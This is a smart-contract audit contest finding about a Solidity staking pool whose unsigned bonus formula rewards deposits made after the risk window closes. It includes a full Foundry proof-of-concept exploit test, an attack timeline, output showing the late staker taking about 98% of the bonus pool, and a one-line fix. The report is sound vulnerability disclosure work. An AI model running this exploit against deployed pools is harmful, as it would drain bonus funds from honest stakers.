FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: low

Unsigned `|T − e|²` in `_bonusShare` rewards lateness past `T`, draining the bonus pool from the stakers who actually underwrote the term

Author Revealed upon completion

Root + Impact

The finding: _bonusShare computes a·|T − e|² in unsigned arithmetic - the > ? : is an underflow guard, not a clamp on (T − e). Inside the window it correctly crushes late entrants; past T the parabola turns around and pays lateness quadratically. Reachable because riskWindowEnd is a one-way latch while stake gates on live registry state only - the exact hardening the author applied to withdraw and omitted on stake, against their own stated principle: "the pool's own one-way flag is the source of truth."

Description

-> Normal behavior. ConfidencePool pays a bonus as a risk premium: each deposit's weight is
amount × (T − entryTime)², where T = riskWindowEnd for a SURVIVED resolution. Squaring is meant
to make the weight monotonically decrease with entry time, so "a staker arriving in the final
minutes of an attack earns a vanishing share even with a large position" (DESIGN.md §7).
riskWindowEnd is a one-way latch, sealed on the first observation of a terminal registry state;
terminal states block deposits, so the author assumed entry ≤ T always holds.

-> The issue. _bonusShare implements the weight in unsigned arithmetic as amount × |T − e|²,
not amount × (T − e)² clamped at zero — the > ? : is an underflow guard, not a clamp on (T − e).
The entry ≤ T assumption is not enforced: riskWindowEnd is a one-way latch, but stake gates
only on the live registry state, and the pool resolves safeHarborRegistry.getAttackRegistry()
live on every call (deliberately — §11 refuses to pin it so pools survive a DAO registry
migration). A migration yields a fresh registry that truthfully reports NOT_DEPLOYED for the
not-yet-re-registered agreement, which re-opens stake while T stays pinned in the past. Every
deposit then lands at e > T, where the parabola turns around and rewards lateness quadratically and
without bound. This is the exact hardening the author applied to withdraw and omitted on stake.

// src/ConfidencePool.sol
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
...
if (block.timestamp >= expiry) revert StakingClosed();
_assertDepositsAllowed(_observePoolState()); //@> LIVE registry state ONLY — no `riskWindowEnd` latch gate.
... //@> Compare withdraw() below, which DOES gate on the latch.
uint256 newEntry = block.timestamp;
uint256 start = riskWindowStart;
if (start != 0 && newEntry < start) newEntry = start;
//@> Entry is FLOORED at riskWindowStart ... but never CAPPED at riskWindowEnd.
//@> The missing symmetric clamp is the whole bug.
}
function withdraw() external nonReentrant {
...
IAttackRegistry.ContractState state = _observePoolState();
if (
riskWindowStart != 0 //@> one-way LATCH + live state. `stake` has no equivalent.
|| (state != IAttackRegistry.ContractState.NOT_DEPLOYED
&& state != IAttackRegistry.ContractState.NEW_DEPLOYMENT
&& state != IAttackRegistry.ContractState.ATTACK_REQUESTED)
) revert WithdrawsDisabled();
}
function _markRiskWindowEnd() internal {
...
riskWindowEnd = uint32(t); //@> ONE-WAY: only ever set while `riskWindowEnd == 0`.
} //@> It never follows the registry back out of terminal.
function _bonusShare(address u, uint256 userEligible) internal view returns (uint256) {
...
uint256 T = outcomeFlaggedAt; //@> = riskWindowEnd (SURVIVED). Frozen, possibly stale.
uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u]; // a·(T² + e²)
uint256 userMinus = 2 * T * userSumStakeTime[u]; // a·(2·T·e)
uint256 userScore = userPlus > userMinus ? userPlus - userMinus : 0;
//@> = a·|T − e|², NOT a·(T − e)² clamped at 0. The `> ? :` is an UNDERFLOW guard, not a clamp.
//@> For e > T the weight GROWS with lateness: the later the entry, the larger the score.
...
}

The author's own principle, applied to only one sidetest/unit/ConfidencePool.riskWindow.t.sol:215:

"withdraw gates on the pool's persisted riskWindowStart in addition to the live registry state,
so an upstream registry that rewinds to a pre-risk state (registry replacement, mis-migration)
cannot re-open withdrawals...
The pool's own one-way flag is the source of truth."
— that test's trigger is safeHarborRegistry.setAttackRegistry(address(rewound)), identical to this PoC's.

Dispositive evidence this was never intended: applying the one-line fix below breaks zero of the
project's 256 tests. A behavior the suite does not pin anywhere is not a design decision.

Risk

  • Occurs when the DAO migrates the attack registry during a pool's term - an operation DESIGN.md §11
    plans for explicitly, refusing to pin the pointer per-clone because a "legitimate DAO registry
    migration"
    is "more likely and more severe than the risk it prevents". The developer's own
    regression test models this same repoint as a benign, expected event.

  • The migration is strictly necessary. Within a single registry instance terminal states are
    absorbing - promoted/corrupted are never cleared; cancelPromotion requires
    PROMOTION_REQUESTED (dead the instant the 3-day PROMOTION_DELAY elapses, which is exactly when
    riskWindowEnd can seal); rejectAttackRequest does a full delete s_agreementInfo but requires
    ATTACK_REQUESTED, from which riskWindowEnd cannot have sealed. Verified:
    Realistic_PoC.t.sol::test_scoping_realRegistryCannotUndoDerivedProduction.

  • The agreement must also re-register and climb back to a terminal PRODUCTION on the new registry
    before
    expiry. Otherwise claimExpired resolves EXPIRED, T = expiry, e < expiry always
    holds, and there is no bug at all. This is a genuine additional constraint, not a formality.

  • Requires no privileged cooperation: the attacker seals T themselves the instant the registry first
    reads terminal, via permissionless pokeRiskWindow() - the "intended, outcome-neutral observation
    mechanism"
    (§6) - and needs only one block in any deposit-allowed state before expiry.

  • Needs a bonus pool worth taking.

Impact:

  • The attacker captures 98.96% of the bonus pool while bearing zero risk-window seconds - he
    contributes no time to the quantity the premium pays for - yet receives maximal risk-window
    weight. The honest staker who underwrote the exposure is paid 1.04%. Measured on a fully
    realistic lifecycle.

  • Honest scoping: the attacker's principal is not risk-free - it is locked from entry to
    resolution and would be swept on a CORRUPTED outcome. The defect is not "risk-free capital"; it is
    that bonus weight is paid in inverse proportion to risk-window time borne.

  • The loss scales with the attacker's patience, not their capital or their exposure: identical
    capital, entry T+3d → 900e18, T+13d → 994e18, T+28d → 998.7e18 of a 1000e18 pot.

  • The victim is defenceless: they cannot exit (withdraw permanently disabled by the
    riskWindowStart latch - verified, reverts WithdrawsDisabled), cannot re-pin or advance T
    (one-way latch; poking is a no-op), and cannot block the deposit. Their only counter is to also
    deposit past T - i.e. to join the attack. The honest strategy is strictly dominated.

  • Loss is bounded by the bonus pool - but it is 100% of it, and 100% of the honest staker's return
    on a position they cannot exit. Per §9 the premium is precisely the compensation for the exit option
    they forfeited: "a staker only forfeits the exit option once risk has actually materialized, which
    is exactly when they begin earning the risk premium
    ."
    Alice forfeited hers; the attacker forfeited
    nothing.

Why §7 does not cover this (preempting the likeliest dedup)

§7's "Accepted residual" reads:

"Biasing T by withholding observation is a contested public race: any counterparty with the
opposite incentive can
pokeRiskWindow() the instant the registry transitions, collapsing the bias
to ~zero
, and it only ever redistributes the bonus pool among stakers (no principal effect, no
third-party loss)."

That acceptance is expressly predicated on a counter-move that structurally does not exist here.
Once riskWindowEnd has sealed, it is one-way: poking is a no-op, so the bias cannot be collapsed
by anyone (verified: ParabolaInversion_PoC.t.sol::test_S2_victimHasNoCounterMove). Remove the stated
basis and the acceptance does not transfer. Further:

  • Scope. That clause's subject is a bounded skew in T. Here T is pinned correctly; the
    defect is that e > T is reachable at all - a case §7 never contemplates, because its model presumes
    e ≤ T.

  • Inversion ≠ redistribution. §7 and the README promise the formula "crushes late entrants"; the
    code does the exact opposite, unbounded. A document describing X cannot disclose not-X.

  • §3 is affirmative, and against them: "There is no late-join advantage to gate against." That is
    a correctness claim, not a disclosure - and it is false on this path.

  • README qualifies "crushes late entrants" with "within the observed risk window". If the defence is
    that the attacker entered outside the window, then he should earn zero, not the maximum.

Proof of Concept

Driven only through legitimate transitions of RealisticAttackRegistry, a faithful
re-implementation of the real AttackRegistry (same state-derivation order, PROMOTION_DELAY = 3d,
PROMOTION_WINDOW = 14d, same per-transition gates). No state is ever set directly, so no step depends
on a state the real registry cannot produce.

forge test --match-path 'test/exploit/RealismAudit.t.sol' -vv # 5/5 pass
forge test --match-path 'test/exploit/Realistic_PoC.t.sol' -vv # 5/5 pass
forge test --match-path 'test/exploit/ChainTrace_PoC.t.sol' -vv # 5/5 pass
REALISTIC alice bonus (4d real risk-window time borne): 10.409889394925178919 (1.04%)
REALISTIC attacker bonus (0 risk-window seconds, 39d late): 989.590110605074821080 (98.96%)

Attack flow (every step legitimate; all privileged roles honest):

pool term: 60 days T is pinned here, forever
─────────────────────────────────────────────────────────┬──────────────────────────────────
day 0 day 1 day 2 day 5 day 8 │ day 9 day 40 day 50 day 55
│ │ │ │ │ │ │ │ │ │
│ requestUnder- approveAttack promote() PROMOTION_│ DAO agreement ATTACKER deadline →
│ Attack → UNDER_ATTACK → PROMO- DELAY(3d) │ MIGRATES re-registers STAKES PRODUCTION
│ → ATTACK_ + poke TION_REQ elapses │ registry → ATTACK_ 100e18 moderator
│ REQUESTED riskWindowStart BY CLOCK │ (§11 REQUESTED e = day 50 flags
= day 2 → PRODUC- │ benign) (deposits ≫ T = day 8 SURVIVED
ALICE TION │ ↓ allowed) │ T = STALE
stakes ↓ │ fresh reg │ day 8
100e18 attacker pokes │ = NOT_ │ │
│ riskWindowEnd │ DEPLOYED │ │
= day 8 ─────┘ (TRUTHFUL: │ │
│ (ONE-WAY) never registered) │ │
│ stake RE-OPENS ────────────────┘ │
│ (T stays pinned) │
└── locked in (withdraw disabled since day 2) ───────────────────────────────────────────────────► claims
WEIGHTS at settlement (T = day 8):
alice entry floors to riskWindowStart = day 2 → (82= 36 day² → 1.04%
attacker entry = day 50|850|² = 1764 day² → 98.96%
the parabola turned around at T

The weight function, and where it breaks:

weight =|T − e|²
^
| \ / ← e > T: REWARDS lateness (the bug)
| \ / unbounded, grows quadratically
| \ /
| \ /
| \ /
| \_ _/
| \__ __/
| \___ ___/
| \___ ___/
+--------------------\/--------------------------> entry time e
riskWindowStart T=riskWindowEnd
|<-- intended region: weight DECREASES -->|
("squaring crushes late entrants")
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
// ─────────────────────────────────────────────────────────────────────────────────────────────
// SELF-CONTAINED PoC — drop into `test/` and run:
// forge test --match-path 'test/exploit/SUBMISSION_PoC.t.sol' -vv
//
// Uses only the repo's own scaffolding (test/helpers/BaseConfidencePoolTest.sol) plus the
// faithful registry harness defined IN THIS FILE. The pool contract is UNMODIFIED.
//
// Every registry state below is produced ONLY by legitimate transitions of `FaithfulAttackRegistry`,
// a 1:1 re-implementation of the real BattleChain AttackRegistry (same _getAgreementState check
// order, PROMOTION_DELAY = 3 days, PROMOTION_WINDOW = 14 days, same per-transition state gates).
// No state is ever set directly, so no step depends on a state the real registry cannot produce.
// ─────────────────────────────────────────────────────────────────────────────────────────────
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
/// @notice 1:1 re-implementation of the real AttackRegistry state machine.
/// Mirrors lib/battlechain-safe-harbor-contracts/src/AttackRegistry.sol:
/// _getAgreementState L842-878 (exact check order) | PROMOTION_DELAY L52 | PROMOTION_WINDOW L51
/// deadlineTimestamp = now + PROMOTION_WINDOW at registration L794
/// approveAttack requires ATTACK_REQUESTED L341 | promote requires UNDER_ATTACK L300
/// cancelPromotion requires PROMOTION_REQUESTED L311 | markCorrupted requires UA||PR L322
contract FaithfulAttackRegistry {
uint256 public constant PROMOTION_DELAY = 3 days;
uint256 public constant PROMOTION_WINDOW = 14 days;
struct Info {
bool isRegistered;
bool attackRequested;
bool attackApproved;
bool promoted;
bool corrupted;
uint256 promotionRequestedTimestamp;
uint256 deadlineTimestamp;
}
mapping(address => Info) internal _i;
error InvalidState(IAttackRegistry.ContractState s);
function getAgreementState(address a) external view returns (IAttackRegistry.ContractState) {
return _state(a);
}
function _state(address a) internal view returns (IAttackRegistry.ContractState) {
Info storage i = _i[a];
if (i.corrupted) return IAttackRegistry.ContractState.CORRUPTED; // 1
if (i.promoted) return IAttackRegistry.ContractState.PRODUCTION; // 2
if (!i.isRegistered) return IAttackRegistry.ContractState.NOT_DEPLOYED; // 3
if (i.promotionRequestedTimestamp > 0) {
// 4
if (block.timestamp >= i.promotionRequestedTimestamp + PROMOTION_DELAY) {
return IAttackRegistry.ContractState.PRODUCTION; // derived by the CLOCK, no flag set
}
return IAttackRegistry.ContractState.PROMOTION_REQUESTED;
}
if (i.attackApproved) return IAttackRegistry.ContractState.UNDER_ATTACK; // 5
if (block.timestamp >= i.deadlineTimestamp) return IAttackRegistry.ContractState.PRODUCTION; // 6
if (i.attackRequested) return IAttackRegistry.ContractState.ATTACK_REQUESTED; // 7
return IAttackRegistry.ContractState.NOT_DEPLOYED;
}
function requestUnderAttack(address a) external {
require(!_i[a].isRegistered, "already registered");
_i[a] = Info(true, true, false, false, false, 0, block.timestamp + PROMOTION_WINDOW);
}
function approveAttack(address a) external {
IAttackRegistry.ContractState s = _state(a);
if (s != IAttackRegistry.ContractState.ATTACK_REQUESTED) revert InvalidState(s);
_i[a].attackApproved = true;
}
function promote(address a) external {
IAttackRegistry.ContractState s = _state(a);
if (s != IAttackRegistry.ContractState.UNDER_ATTACK) revert InvalidState(s);
_i[a].promotionRequestedTimestamp = block.timestamp;
}
function getAttackModerator(address) external pure returns (address) {
return address(0);
}
}
contract SUBMISSION_PoC is BaseConfidencePoolTest {
FaithfulAttackRegistry internal reg;
uint256 internal constant STAKE = 100e18; // both parties commit identical capital
uint256 internal constant BONUS = 1_000e18; // the risk premium being fought over
function setUp() public override {
super.setUp();
reg = new FaithfulAttackRegistry();
safeHarborRegistry.setAttackRegistry(address(reg));
}
/// NOTE ON TIME: anchor on the BASE_TIMESTAMP CONSTANT. Under `via_ir` the optimizer folds a
/// cached `uint256 t0 = block.timestamp` back into `block.timestamp`, so warps silently compound.
function test_POC_lateDepositPastT_capturesTheBonusPool() external {
uint256 t0 = BASE_TIMESTAMP;
// 60-day pool (min lead is 30 days).
ConfidencePool impl = new ConfidencePool();
ConfidencePool pool_ = ConfidencePool(Clones.clone(address(impl)));
pool_.initialize(
agreement,
address(token),
address(safeHarborRegistry),
moderator,
t0 + 60 days,
ONE,
recovery,
address(this),
_defaultScope()
);
// ── day 0: honest staker underwrites the term; sponsor funds the premium ──
_stakeTo(pool_, alice, STAKE);
_bonusTo(pool_, makeAddr("sponsor"), BONUS);
// ── day 1-2: agreement enters battle-testing; risk window OPENS ──
vm.warp(t0 + 1 days);
reg.requestUnderAttack(agreement);
vm.warp(t0 + 2 days);
reg.approveAttack(agreement); // -> UNDER_ATTACK
pool_.pokeRiskWindow();
assertEq(pool_.riskWindowStart(), uint32(t0 + 2 days), "risk window opened");
// Alice is now locked in: withdraw permanently disabled. She cannot exit.
vm.prank(alice);
vm.expectRevert(IConfidencePool.WithdrawsDisabled.selector);
pool_.withdraw();
// ── day 5-8: promotion requested; after PROMOTION_DELAY the state flips to PRODUCTION
// BY THE CLOCK (no transaction). The risk window CLOSES. ──
vm.warp(t0 + 5 days);
reg.promote(agreement); // -> PROMOTION_REQUESTED
vm.warp(t0 + 8 days); // +3d PROMOTION_DELAY elapses
assertEq(
uint256(reg.getAgreementState(agreement)),
uint256(IAttackRegistry.ContractState.PRODUCTION),
"derived PRODUCTION after PROMOTION_DELAY"
);
// The ATTACKER seals T himself, permissionlessly (DESIGN.md S6: the "intended,
// outcome-neutral observation mechanism"). riskWindowEnd is a ONE-WAY latch.
vm.prank(attacker);
pool_.pokeRiskWindow();
uint256 T = pool_.riskWindowEnd();
assertEq(T, t0 + 8 days, "T pinned here, FOREVER");
// ── day 9: benign DAO attack-registry MIGRATION. DESIGN.md S11 refuses to pin the
// pointer per-clone precisely because a "legitimate DAO registry migration" is
// "more likely and more severe than the risk it prevents". A fresh registry
// TRUTHFULLY reports NOT_DEPLOYED for an agreement it never registered. ──
vm.warp(t0 + 9 days);
FaithfulAttackRegistry reg2 = new FaithfulAttackRegistry();
safeHarborRegistry.setAttackRegistry(address(reg2));
assertEq(
uint256(reg2.getAgreementState(agreement)),
uint256(IAttackRegistry.ContractState.NOT_DEPLOYED),
"fresh registry: truthful NOT_DEPLOYED"
);
assertEq(pool_.riskWindowEnd(), T, "T survives the migration -- but `stake` does not");
// ── day 40: agreement re-registers on the new registry (deposits allowed again) ──
vm.warp(t0 + 40 days);
reg2.requestUnderAttack(agreement); // -> ATTACK_REQUESTED
// ── day 50: ATTACKER deposits the SAME capital, 42 days AFTER the risk window closed.
// He contributes ZERO risk-window seconds. `stake` consults only LIVE state. ──
vm.warp(t0 + 50 days);
_stakeTo(pool_, attacker, STAKE);
// ── day 55: deadline elapses -> PRODUCTION. Honest moderator flags SURVIVED.
// outcomeFlaggedAt = riskWindowEnd = the STALE day-8 T. ──
vm.warp(t0 + 55 days);
vm.prank(moderator);
pool_.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
assertEq(pool_.outcomeFlaggedAt(), uint32(T), "T = stale, pre-migration riskWindowEnd");
// ── settlement ──
uint256 a0 = token.balanceOf(alice);
vm.prank(alice);
pool_.claimSurvived();
uint256 aliceBonus = token.balanceOf(alice) - a0 - STAKE;
uint256 k0 = token.balanceOf(attacker);
vm.prank(attacker);
pool_.claimSurvived();
uint256 attackerBonus = token.balanceOf(attacker) - k0 - STAKE;
emit log_named_decimal_uint("alice bonus (6d risk-window time borne)", aliceBonus, 18);
emit log_named_decimal_uint("attacker bonus (0 risk-window seconds) ", attackerBonus, 18);
// Weights with T = day 8:
// alice entry floors to riskWindowStart = day 2 -> (8-2)^2 = 36 day^2
// attacker entry = day 50 -> |8-50|^2 = 1764 day^2
// The parabola turned around at T: the LATER entry earns ~49x MORE.
assertGt(attackerBonus, aliceBonus * 40, "INVERTED: lateness is REWARDED");
assertGt(attackerBonus, (BONUS * 97) / 100, "attacker takes >97% of the risk premium");
assertLt(aliceBonus, BONUS / 30, "honest underwriter's premium is gone");
}
/// CONTROL 1: the same late entry INSIDE the window is correctly crushed.
/// Isolates the inversion to `e > T` and proves the formula works as documented otherwise.
function test_CONTROL_lateEntryInsideWindowIsCrushed() external {
uint256 t0 = BASE_TIMESTAMP;
_bonusTo(pool, makeAddr("sponsor"), BONUS);
_stakeTo(pool, alice, STAKE);
vm.warp(t0 + 1 days);
reg.requestUnderAttack(agreement);
vm.warp(t0 + 2 days);
reg.approveAttack(agreement);
pool.pokeRiskWindow(); // riskWindowStart = day 2
// Attacker joins LATE but still INSIDE the window.
vm.warp(t0 + 4 days);
_stakeTo(pool, attacker, STAKE);
vm.warp(t0 + 5 days);
reg.promote(agreement);
vm.warp(t0 + 8 days); // -> PRODUCTION
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
uint256 a0 = token.balanceOf(alice);
vm.prank(alice);
pool.claimSurvived();
uint256 aliceBonus = token.balanceOf(alice) - a0 - STAKE;
uint256 k0 = token.balanceOf(attacker);
vm.prank(attacker);
pool.claimSurvived();
uint256 attackerBonus = token.balanceOf(attacker) - k0 - STAKE;
emit log_named_decimal_uint("alice bonus (inside window)", aliceBonus, 18);
emit log_named_decimal_uint("attacker bonus (inside window)", attackerBonus, 18);
assertLt(attackerBonus, aliceBonus, "inside the window, later entry earns LESS (intended)");
}
/// CONTROL 2: with NO migration the attacker simply cannot stake -> the missing one-way-latch
/// gate on `stake` is the load-bearing defect.
function test_CONTROL_noMigration_stakeIsClosed() external {
uint256 t0 = BASE_TIMESTAMP;
_bonusTo(pool, makeAddr("sponsor"), BONUS);
_stakeTo(pool, alice, STAKE);
vm.warp(t0 + 1 days);
reg.requestUnderAttack(agreement);
vm.warp(t0 + 2 days);
reg.approveAttack(agreement);
pool.pokeRiskWindow();
vm.warp(t0 + 5 days);
reg.promote(agreement);
vm.warp(t0 + 8 days);
pool.pokeRiskWindow(); // T sealed; registry stays terminal forever
vm.warp(t0 + 20 days);
token.mint(attacker, STAKE);
vm.startPrank(attacker);
token.approve(address(pool), STAKE);
vm.expectRevert(IConfidencePool.StakingClosed.selector);
pool.stake(STAKE);
vm.stopPrank();
}
// ── helpers ──
function _stakeTo(ConfidencePool p, address who, uint256 amt) internal {
token.mint(who, amt);
vm.startPrank(who);
token.approve(address(p), amt);
p.stake(amt);
vm.stopPrank();
}
function _bonusTo(ConfidencePool p, address who, uint256 amt) internal {
token.mint(who, amt);
vm.startPrank(who);
token.approve(address(p), amt);
p.contributeBonus(amt);
vm.stopPrank();
}
}

Output

[PASS] test_POC_lateDepositPastT_capturesTheBonusPool()
alice bonus (6d risk-window time borne): 20.000000000000000000 (2%)
attacker bonus (0 risk-window seconds) : 980.000000000000000000 (98%)
[PASS] test_CONTROL_lateEntryInsideWindowIsCrushed()
alice bonus (inside window): 692.307692307692307692 (69.2%)
attacker bonus (inside window): 307.692307692307692307 (30.8%) <- later entry earns LESS
[PASS] test_CONTROL_noMigration_stakeIsClosed() <- without the migration: StakingClosed

The two controls isolate the defect precisely. Same formula, same capital, only the entry side of
T
differs — and the sign of the effect flips:

attacker entry relative to T alice attacker behaviour
day 4 inside window 69.2% 30.8% later earns LESS — as documented
day 50 past T 2% 98% later earns MORE — inverted

Recommended Mitigation

Cap the recorded entry at T, exactly mirroring the riskWindowStart floor two lines above
(src/ConfidencePool.sol, in stake):

uint256 newEntry = block.timestamp;
uint256 start = riskWindowStart;
if (start != 0 && newEntry < start) newEntry = start;
+ if (riskWindowEnd != 0 && newEntry > riskWindowEnd) newEntry = riskWindowEnd;
+ // a·(T − e)² can no longer invert: an entry past T contributes zero weight, never maximal weight.

Verified: with this line, the attacker's bonus goes 989.59e18 → 0 and the honest staker's
10.41e18 → 1000e18, and all 256 upstream tests still pass (zero regressions - evidence the current
behavior was never intended). Safe on the EXPIRED path (T = expiry): capping at riskWindowEnd only
gives late entrants a smaller (expiry − e)² than early stakers, so the intended ordering is preserved.

Optionally, as defence-in-depth, also gate stake on the one-way latch (if (riskWindowEnd != 0) revert StakingClosed();), honouring the author's own principle that "the pool's own one-way flag is the source
of truth"
. The clamp above is the minimal fix and holds regardless of any registry behaviour.

Do not attempt to fix this inside _bonusShare: the per-user sums are aggregates
(Σa·e, Σa·e²), so |T − e| cannot be decomposed per-deposit after the fact without destroying the
O(1) representation. The clamp must happen where the entry time is recorded.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!